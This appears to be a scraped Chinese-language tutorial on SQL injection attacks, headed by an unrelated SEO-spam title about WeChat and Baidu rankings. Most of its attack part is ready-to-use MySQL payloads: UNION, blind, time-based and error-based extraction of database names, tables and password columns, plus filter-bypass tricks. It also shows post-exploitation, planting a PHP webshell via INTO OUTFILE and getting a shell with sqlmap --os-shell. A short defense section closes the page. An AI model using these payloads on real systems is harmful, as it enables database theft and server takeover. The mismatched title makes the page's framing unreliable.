網(wǎng)頁版微信官網(wǎng)seo優(yōu)化排名教程百度技術(shù)
(一)漏洞原理
1、 漏洞原理
SQL注入的原理是,是應(yīng)用系統(tǒng)沒有對傳遞的參數(shù)進行過濾,讓參數(shù)直接拼接到SQL語句中,攻擊通過對參數(shù)進行篡改,當(dāng)參數(shù)傳遞到數(shù)據(jù)庫中,邏輯上就會發(fā)生變化,就產(chǎn)生新SQL語句,造成一些不好后果
2、案例講解
假如某業(yè)務(wù)查詢功能,一般實現(xiàn)過程是:后端接受參數(shù),帶入查詢語句中,再把查詢內(nèi)容返回前端,這是語句的實現(xiàn):
$userID = $_POST['userID'];
$sql = "SELECT * FROM users WHERE userID = '$userID';
攻擊者通過攔截到userID參數(shù),對其植入惡意代碼:userID = ' OR 1 = 1 --+
最終SQL語句變成:
SELECT * FROM users WHERE userID = ' ' OR 1 = 1 --+
?這條 SQL 語句查詢出了?
users
?表中的所有數(shù)據(jù),因為?OR 1=1
?永遠為真。攻擊者可以進一步利用這個漏洞來獲取更多的數(shù)據(jù)或執(zhí)行其他操作,甚至刪除數(shù)據(jù)表
所以,我認為SQL漏洞的本質(zhì),就是想進方法向參數(shù)中注入惡意代碼,當(dāng)參數(shù)傳遞到數(shù)據(jù)庫中,SQL語句就發(fā)生了變化,執(zhí)行之后就會產(chǎn)生SQL注入漏洞。
(二)漏洞分類
1、按照請求類型分類:
- GET型:通過修改URL中的參數(shù)值來注入惡意SQL語句。
- POST型:通過修改POST請求中的參數(shù)值來注入惡意SQL語句
- Cookie注入型:在請求頭的Cookie參數(shù)中注入惡意的SQL語句,
2、按照字符類型分類:
- 數(shù)字型:攻擊者試圖將SQL代碼注入到數(shù)字型的數(shù)據(jù)字段中。通常在后面加入測試語句:and 1=1
- 字符型:將SQL代碼注入到字符型的數(shù)據(jù)字段中,通常在后面加入測試語句:’or 1=1
3、按照測試方法測試:
- 報錯:這是基于應(yīng)用程序在處理錯誤時返回詳細信息的漏洞,通過構(gòu)造惡意的SQL語句來觸發(fā)應(yīng)用程序產(chǎn)生錯誤,并從錯誤信息中獲取敏感數(shù)據(jù)或執(zhí)行其他惡意操作,
- 延時:這是一種利用在響應(yīng)時間上的差異來判斷漏洞的攻擊方法,通過構(gòu)造惡意的SQL語句,利用數(shù)據(jù)庫管理系統(tǒng)的延時函數(shù)來判斷查詢是否成功執(zhí)行,并據(jù)此推測SQL注入漏洞的存在,利用sleep()或benchmark()等函數(shù)讓mysql執(zhí)行時間變長
- 盲注型:攻擊者無法直接從響應(yīng)中獲取有關(guān)注入結(jié)果的詳細信息,然后通過構(gòu)造特定的SQL語句,利用在不同條件下的響應(yīng)差異來推斷查詢的結(jié)果,常用構(gòu)建盲注函數(shù):substr()、Left()、ORD()
- 布爾型:在響應(yīng)中的布爾條件語句的結(jié)果來判斷查詢是否成功執(zhí)行的一種攻擊方法。通過構(gòu)造惡意的SQL語句并觀察應(yīng)用程序的響應(yīng),來推斷SQL查詢的結(jié)果,結(jié)果根據(jù)false和true不返回數(shù)據(jù)庫數(shù)據(jù)
(三)基本測試方法
1、SQL注入常出現(xiàn)位置:
只要需要帶入到數(shù)據(jù)庫中的參數(shù)有可能存在SQL注入,常見位置如下:
用戶輸入表單:用戶可以通過網(wǎng)站的表單(如搜索框、注冊表單、登錄表單等)提交數(shù)據(jù)給服務(wù)器
- URL參數(shù):URL參數(shù)是傳遞給應(yīng)用程序的一種常見方式,產(chǎn)生url參數(shù)有兩個來源,一是get請求會生成url參數(shù),還有一個是隱藏的參數(shù),網(wǎng)站使用隱藏字段來存儲數(shù)據(jù),這些字段可以在表單提交時自動包含在請求中。
- Cookies:cookies本身不會發(fā)生sql注入,可能會引發(fā)sql注入是因為,cookie是網(wǎng)絡(luò)中識別用戶身份的特殊文本,當(dāng)開發(fā)人員在使用Cookie中存儲的數(shù)據(jù)時,如果未進行適當(dāng)?shù)臄?shù)據(jù)驗證和處理,從而直接將Cookie數(shù)據(jù)用于SQL查詢,就可能導(dǎo)致SQL注入漏洞的發(fā)生
- HTTP頭信息:攻擊者通過修改HTTP請求的頭部信息中的值來注入惡意的SQL語句(UserAgent、Referer,等),這些自動生成并發(fā)送給服務(wù)器的頭信息,本身不會導(dǎo)致sql注入,在某些情況下,攻擊者可能會嘗試使用特殊字符來觸發(fā)應(yīng)用程序中的漏洞,
2、基本測試過程如下:
第一步,找注入點:在參數(shù)后面加入單引號等特殊字符,查看是否引起報錯,或是修改參數(shù)的值,觀察對輸入是否過濾和轉(zhuǎn)義
第二步,找回顯點,沒有回顯,測試盲注和延時。前面嘗試通過加入特殊字符或者修改值引起報錯,如果有報錯信息就測試抱錯型SQL注入,沒有則測試盲注和延時注入
第三步,寫poc,根據(jù)測試結(jié)果編寫利用該漏洞的 POC,常見的通用payload如下(基于MySQL):
????????爆破數(shù)據(jù)庫:group_concat(schema_name) from information_schema.schemata??
????????爆破數(shù)據(jù)表:group_concat(table_name) from information_schema.columns where ????????????????table_schema=database()?
????????爆破字段:group_concat(column_name) from information_schema.columns where ????????????????table_name='表名'?
????????爆破字段內(nèi)容:group_concat(username,0x7e,password) from 表名?
3、報錯型SQL注入:
第一步,查找引起報錯的特殊字符,一般是單引號或者雙引號:??id=1'? ?或??id=1"
第二步,判斷字段個數(shù):?id=1' ?and 1=1 order by N?--+? ?N從1開始測試,出現(xiàn)報錯的時候說明有N-1個
第三步,找回顯點:返回報錯信息的地方,就是回顯點,但有時候沒有,那就需要自己尋找,常見方法:?union select 1,2,3...N--+? ? 其中N是字段個數(shù)
第四步:找注入點,??id= -1' ?union select 1,2,3--+ 中 2,3都是注入點
第五步:爆破數(shù)據(jù)庫:??id= -1' ?union select 1,2,database()--+? 找到注入點之后,就是把上面的payload換到注入點中,下面6,7,8步驟也一樣的第六步:爆破數(shù)據(jù)表:?id= -1' ?union select 1,2,(group_concat(table_name) from information_schema.columns where table_schema=database())--+
第七步:爆破字段:?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='數(shù)據(jù)表' --+
第八步:爆破字段內(nèi)容:?id=-1' union select 1,2, group_concat(username,0x7e,password) from 數(shù)據(jù)表?--+
4、盲注型SQL注入
當(dāng)沒有特殊符號沒有回顯的時候,就測試盲注,盲注可以分為布爾盲注和延時盲注,
- 布爾盲注是,語句中采用了if語句判斷,條件為真則回顯內(nèi)容,接著布爾環(huán)境下,來判斷是否執(zhí)行,成功執(zhí)行,就是存在SQL注入漏洞
- 延時盲注是,借助延時函數(shù),來判斷是否執(zhí)行,如果延時執(zhí)行,則說明存在SQL注入
區(qū)別是就是注入點構(gòu)造不同
1、布爾盲注
?id=1'? ?成功執(zhí)行,內(nèi)容消失,
?id=1' and 1=1 --+? 成功執(zhí)行,內(nèi)容顯示?id=1' and 1=2 --+? 成功執(zhí)行,內(nèi)容消失
第一步:找注入點:經(jīng)過測試找到:?id=1' or 1=1 其中1=1就是注入點,表達式為true
第二步:判斷數(shù)據(jù)庫長度:?id=1' or length(database())=8 --+? ?如果數(shù)據(jù)庫長度為8?條件就為true,就會顯示內(nèi)容,從1開始慢慢測試,database()是查詢當(dāng)前數(shù)據(jù)庫,換成查詢數(shù)據(jù)表,則可以判斷數(shù)據(jù)表長度
第三步:爆破數(shù)據(jù)庫:
????????猜測第一個字母:?id=1' or ascii(substr(database(),1,1))= 115--+? ? //115是s的ascii編號
????????猜測第二個字母:?id=1' or ascii(substr(database(),2,1))
第四步:猜測數(shù)據(jù)表長度:?id=1' and ?(length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>6 --+
????????limit 0,1表示第一個表
????????limit 1,1表示第二個表第五步:爆破數(shù)據(jù)表:和猜測數(shù)據(jù)庫一樣
?id=1' or ascii(substr(((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1))= 115
第六步:爆破字段長度:
第七步:爆破字段內(nèi)容:
2、延時盲注
?id=1'??正常響應(yīng)
?id=1' and sleep(5) --+? ? ?明顯延長5秒中顯示第一步:爆破數(shù)據(jù)庫長度:?id=1' and if(length(database())=8,sleep(5),0)
第二步:爆破數(shù)據(jù)庫:?id=1' and if(ascii(mid(database(),1,1))<=135,sleep(5),0) --+ 從第一個字母爆破開始,逐漸爆破
第三步:爆破數(shù)據(jù)表長度
第四步:爆破數(shù)據(jù)表
第五步:爆破字段個數(shù)
第六步:爆破字段
盲注需要用到的函數(shù):extractvalue()、updatexml()、floor()1、extractvalue()函數(shù):用于從 XML 類型的數(shù)據(jù)中提取指定節(jié)點的值
extractvalue(xml_document, xpath_expression)
爆破數(shù)據(jù)庫:?id=-1' ? and ?extractvalue(1,concat(0x7e,database(),0x7e)) --+
database()是注入點,只需要把查詢更換就可以查詢數(shù)據(jù)表或字段爆破數(shù)據(jù)表:?id=-1' ? and ?extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e)) --+
2、updatexml()函數(shù):用于在 XML 類型的數(shù)據(jù)中更新或插入某個節(jié)點
updatexml(xml_document, xpath_expression, new_value)
爆破數(shù)據(jù)庫:?id=-1' ? and ?updatexml(1,concat(0x7e,database(),0x7e),1) --+
database()是注入點,只需要把查詢更換就可以查詢數(shù)據(jù)表或字段爆破數(shù)據(jù)表:?id=-1' ? and ?updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1) --+
3、foolr函數(shù)()
爆破數(shù)據(jù)庫:?id=-1' ?union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
database()是注入點,只需要把查詢更換就可以查詢數(shù)據(jù)表或字段爆破數(shù)據(jù)表:?id=-1' ?union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
5、HTTP頭注入
HTTP 頭部注入攻擊和 SQL 注入攻擊是其實兩個不同的概念,但是有時候,HTTP 頭部注入攻擊有時候會直接導(dǎo)致 SQL 注入攻擊,這是因為系統(tǒng)需要接受這些頭部參數(shù),來是識別一些信息,然后又沒有做合適的過濾,導(dǎo)致攻擊者可以在http頭部參數(shù)注入惡意代碼,最終導(dǎo)致sql注入
常見的HTTP頭部注入:
- UA 注入:?User-Agent 頭中引起sql注入
- Host 注入:Host中引起sql注入
- Referer 注入:Referer 頭引起sql注入
- XFF注入:在X-Forwarded-For頭引起sql注入
- cookie注入,在cookie的引起sql注入
此外,其他一些HTTP頭都有可能存在SQL注入,
6、堆疊注入
第一步判斷堆疊注入:直接在sql語句中,加上分號,在寫一個sql語句,看是否成功執(zhí)行
第二步:直接查詢,像上面一樣,先查詢數(shù)據(jù)庫,其次數(shù)據(jù)表,字段,字段內(nèi)容
7、寬字節(jié)注入
第一步判斷寬字節(jié)注入:在參數(shù)后加入%df等,查看是否成功執(zhí)行,比如引發(fā)報錯,等
第二步:和上面一樣,先查詢數(shù)據(jù)庫,其次數(shù)據(jù)表,字段,字段內(nèi)容
8、二次注入
二次注入:已存儲(數(shù)據(jù)庫、文件)的用戶輸入被讀取后,再次進入到 SQL 查詢語句中導(dǎo)致的注入
(四)進階測試方法
進階測試方法是,目標網(wǎng)站有防御措施的情況下,進行測試的方法
1、針對過濾的繞過方法
- 過濾空格:注釋符/**/繞過、編碼(url、ascii)繞過、浮點數(shù)繞過、Tab替代空格、兩個空格替代一個空格、括號繞過、Emoji繞過、回車代替空格,--%0a代替空格
- 過濾引號:使用16進制繞過
- 過濾逗號:from關(guān)鍵字繞過、join關(guān)鍵字繞過、like關(guān)鍵字繞過、offset關(guān)鍵字繞過,substr(),mid(),limit函數(shù)繞過
- 過濾注釋符(# --):手動閉合引號,不使用注釋符
- 過濾比較符號 ( < 和 > ):使用greatest()、least()函數(shù)繞過、使用between and繞過
- 過濾等號( = ):使用like 、rlike 、regexp過濾、 使用<或>過濾
- 過濾or and xor not:使用符號代替(and=`&&`? or=`||`?? xor=`|`?? not=`!`)
- 過濾union,select,where等關(guān)鍵字:使用注釋符繞過、使用大小寫繞過、使用內(nèi)聯(lián)注釋繞過、雙關(guān)鍵字繞過、加號+拆解字符串繞過、語法新特性繞過屏蔽、分割關(guān)鍵字繞過、編碼繞過
2、針對次數(shù)限制的繞過方法:
延時注入:設(shè)置延時時間
(五)利用方式
獲取后臺數(shù)據(jù)庫中存放的目標的隱私信息,并進一步利用這些信息滲透拓展;
對目標網(wǎng)站掛馬,進一步有針對性地開展釣魚攻擊;
獲取后臺應(yīng)用系統(tǒng)的控制權(quán)限,進一步控制后臺服務(wù)器
方式一:通過SQL注入寫入文件獲取webshellSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/webshell.php' 將惡意代碼寫入webshell文件。 攻擊者可以通過訪問webshell文件并提供系統(tǒng)命令參數(shù)來控制服務(wù)器 指定目標服務(wù)器上可訪問的路徑和文件名,確保寫入的webshell文件能夠被訪問到
方式二:通過這個SQLMAP的這個 --os-cmd這種參數(shù)來進行webshll
sqlmap -u "http://target.com/vuln.php?id=1" --os-cmd="ls -la > /var/www/html/webshell.txt" 使用–os-cmd參數(shù)執(zhí)行操作系統(tǒng)命令并將結(jié)果輸出到webshell文件 在注入成功后,可以通過瀏覽器或其他工具訪問webshell文件,獲取對服務(wù)器的控制權(quán)
方式三:就是--os-shell的方式來進行寫webshell
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell 使用–os-shell參數(shù)與目標服務(wù)器建立交互式的shell連接 成功建立shell連接后,可以執(zhí)行各種命令、瀏覽目錄、上傳和下載文件等操作,從而控制服務(wù)器
(六)防御方法
參數(shù)化查詢接口,因為參數(shù)化的一個查詢接口的話 他可以做到參數(shù)的一個過濾和執(zhí)行重用 可以保障這個SQL語句的語義不改變,保持一個原始的一個查詢意思,簡單的說, 參數(shù)化能防注入的原因在于,語句是語句,參數(shù)是參數(shù),參數(shù)的值并不是語句的一部分,數(shù)據(jù)庫只按語句的語義跑 所以就算在參數(shù)中寫入了一些惡意的指令 SQL服務(wù)器她也不會去執(zhí)行這個指令的
對所有的用戶輸入進行嚴格的驗證和過濾,對關(guān)鍵字或者特殊字符,確保輸入數(shù)據(jù)符合預(yù)期的格式和類型(關(guān)鍵字:and、or、select、declare、update、xp_cmdshell,特殊字符:’、”、;)
配置額外的配置,避免打印SQL的一些錯誤消息出來
限制數(shù)據(jù)庫用戶的權(quán)限,確保數(shù)據(jù)庫用戶只能執(zhí)行必要的操作,并限制其對數(shù)據(jù)庫結(jié)構(gòu)的訪問權(quán)限